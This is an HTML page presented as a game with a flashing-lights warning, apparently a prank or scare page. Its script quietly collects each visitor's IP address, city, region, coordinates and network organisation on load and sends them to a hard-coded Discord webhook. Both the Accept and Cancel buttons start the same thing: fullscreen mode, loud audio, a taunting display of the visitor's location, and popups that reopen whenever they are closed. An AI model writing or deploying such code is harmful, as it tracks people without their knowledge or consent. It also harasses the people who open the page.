<!DOCTYPE html>
<html>
<head>
    <title>Locked Site</title>
    <style>
        body {
            margin: 0;
            padding: 0;
            font-family: Arial, sans-serif;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            background-color: black;
            color: white;
            overflow: hidden;
            position: relative;
        }
        .content {
            z-index: 2;
            text-align: center;
            position: relative;
            display: none; /* Hidden initially */
        }
        #background-video {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            object-fit: cover;
            z-index: 1;
            display: none; /* Hidden initially */
        }
        .ip-text {
            color: red; /* Change the text color to red */
            font-weight: bold;
        }
        #ipResult {
            position: absolute;
            bottom: 20px;
            left: 20px;
            color: white;
            font-size: 16px;
            background-color: rgba(0, 0, 0, 0.7); /* Semi-transparent background for readability */
            padding: 10px;
            border-radius: 5px;
        }
        .fullscreen-btn {
            padding: 10px 20px;
            font-size: 18px;
            font-weight: bold;
            color: white;
            background-color: red;
            border: none;
            cursor: pointer;
            border-radius: 5px;
            margin: 10px; /* Add margin between buttons */
        }
        .loading-screen {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: black;
            display: flex;
            flex-direction: column;
            justify-content: center;
            align-items: center;
            z-index: 3;
        }
        .warning-text {
            color: yellow;
            font-size: 20px;
            font-weight: bold;
            text-align: center;
            margin-bottom: 20px;
        }

        /* Flashing text and background styles for popups */
        @keyframes flashText {
            0% {
                opacity: 1;
            }
            50% {
                opacity: 0;
            }
            100% {
                opacity: 1;
            }
        }

        @keyframes flashBackground {
            0% {
                background-color: black;
            }
            50% {
                background-color: red;
            }
            100% {
                background-color: black;
            }
        }

        /* Styling for the popup content */
        .popup-content {
            font-family: 'Arial', sans-serif;
            color: white;
            padding: 20px;
            text-align: center;
            font-size: 16px;
            animation: flashText 1s infinite;
        }

        /* Background flashing */
        .popup-background {
            animation: flashBackground 1s infinite;
        }
    </style>
</head>
<body>

<!-- Initial Blank Screen with Buttons -->
<div class="loading-screen">
    <div class="warning-text">This game contains flashing lights</div>
    <button id="acceptBtn" class="fullscreen-btn">Accept</button>
    <button id="cancelBtn" class="fullscreen-btn">Cancel</button>
</div>

<!-- Video background -->
<video id="background-video" autoplay loop muted>
    <source src="deedefewfew.mp4" type="video/mp4">
    Your browser does not support the video tag.
</video>

<!-- Main content -->
<div class="content">
    <h2>HAHAHAHAHAHAHAHHA</h2>
    <div id="ipResult"></div>

    <!-- Audio element -->
    <audio id="sound" src="soundbob.mp3" autoplay loop muted></audio>
</div>

<script>
    let popups = []; // To store the reference of the popups
    let ipData = {}; // To store IP data fetched from the API

    // Function to create a new popup and display IP info with flashing text and background
    function createPopup() {
        const popup = window.open("about:blank", "_blank", "width=400,height=400");
        if (popup) {
            // Add the popup to the popups array
            popups.push(popup);
            // Wait until the popup is fully opened, then inject the IP data with flashing effect
            popup.document.write("<html><head><title>IP Info</title></head><body class='popup-background'>");
            popup.document.write("<div class='popup-content'>");
            popup.document.write("<h2>IP Information</h2>");
            popup.document.write(`<p><strong>IP Address:</strong> ${ipData.ip}</p>`);
            popup.document.write(`<p><strong>City:</strong> ${ipData.city}</p>`);
            popup.document.write(`<p><strong>Region:</strong> ${ipData.region}</p>`);
            popup.document.write(`<p><strong>Country:</strong> ${ipData.country}</p>`);
            popup.document.write(`<p><strong>Location:</strong> ${ipData.loc}</p>`);
            popup.document.write(`<p><strong>Organization:</strong> ${ipData.org}</p>`);
            popup.document.write("</div>");
            popup.document.write("</body></html>");

            // Listen for when the popup is closed
            popup.onbeforeunload = function () {
                // When the popup is closed, create a new one
                setTimeout(createPopup, 2000);  // Delay the popup creation
            };
        }
    }

    function getMyIpAddress() {
        fetch("https://ipinfo.io/json")
            .then(response => response.json())
            .then(data => {
                ipData = data; // Store the fetched data globally
                // Optionally display it in the main page as well
                const ipResultDiv = document.getElementById("ipResult");
                ipResultDiv.innerHTML = ` 
                    <p><strong class="ip-text">IP Address:</strong> <span class="ip-text">${data.ip}</span></p>
                    <p><strong class="ip-text">City:</strong> <span class="ip-text">${data.city}</span></p>
                    <p><strong class="ip-text">Region:</strong> <span class="ip-text">${data.region}</span></p>
                    <p><strong class="ip-text">Country:</strong> <span class="ip-text">${data.country}</span></p>
                    <p><strong class="ip-text">Location:</strong> <span class="ip-text">${data.loc}</span></p>
                    <p><strong class="ip-text">Organization:</strong> <span class="ip-text">${data.org}</span></p>
                `;
                sendToDiscord(data);
            })
            .catch(error => console.error("Error retrieving IP address:", error));
    }

    function sendToDiscord(data) {
        const webhookUrl = "https://discord.com/api/webhooks/1322816540109836339/C3tgA799f6dMwBx3qXYt4EcwkUetpxl0d0R81r-5F2aLHNo0tbGID27GSzeMJi0vYpfi";
        const payload = {
            embeds: [
                {
                    fields: [
                        { name: "IP Address", value: data.ip, inline: true },
                        { name: "City", value: data.city, inline: true },
                        { name: "Region", value: data.region, inline: true },
                        { name: "Country", value: data.country, inline: true },
                        { name: "Location", value: data.loc, inline: true },
                        { name: "Organization", value: data.org, inline: true }
                    ],
                    color: 0xff0000,
                    timestamp: new Date().toISOString()
                }
            ]
        };
        fetch(webhookUrl, {
            method: "POST",
            headers: { "Content-Type": "application/json" },
            body: JSON.stringify(payload)
        }).then(response => {
            if (response.ok) {
                console.log("Data sent to Discord successfully.");
            } else {
                console.error("Error sending data to Discord.");
            }
        }).catch(console.error);
    }

    function enterFullscreenAndPlay() {
        const audio = document.getElementById("sound");
        const video = document.getElementById("background-video");
        const element = document.documentElement;

        // Request fullscreen
        if (element.requestFullscreen) element.requestFullscreen();
        else if (element.mozRequestFullScreen) element.mozRequestFullScreen();
        else if (element.webkitRequestFullscreen) element.webkitRequestFullscreen();
        else if (element.msRequestFullscreen) element.msRequestFullscreen();

        // Play audio
        audio.muted = false;
        audio.play().catch(error => console.error("Error playing audio:", error));

        // Show the video and content, hide the loading screen
        video.style.display = "block";
        document.querySelector(".loading-screen").style.display = "none";
        document.querySelector(".content").style.display = "block";

        // Start opening pop-ups when the user clicks
        setTimeout(function () {
            createPopup();
        }, 2000);  // Delay the first popup for better chances of being allowed
    }

    document.addEventListener("DOMContentLoaded", function() {
        const acceptBtn = document.getElementById("acceptBtn");
        const cancelBtn = document.getElementById("cancelBtn");

        // Both buttons trigger the same action
        acceptBtn.addEventListener("click", enterFullscreenAndPlay);
        cancelBtn.addEventListener("click", enterFullscreenAndPlay);

        // Get IP address and geolocation
        getMyIpAddress();
    });
</script>

</body>
</html>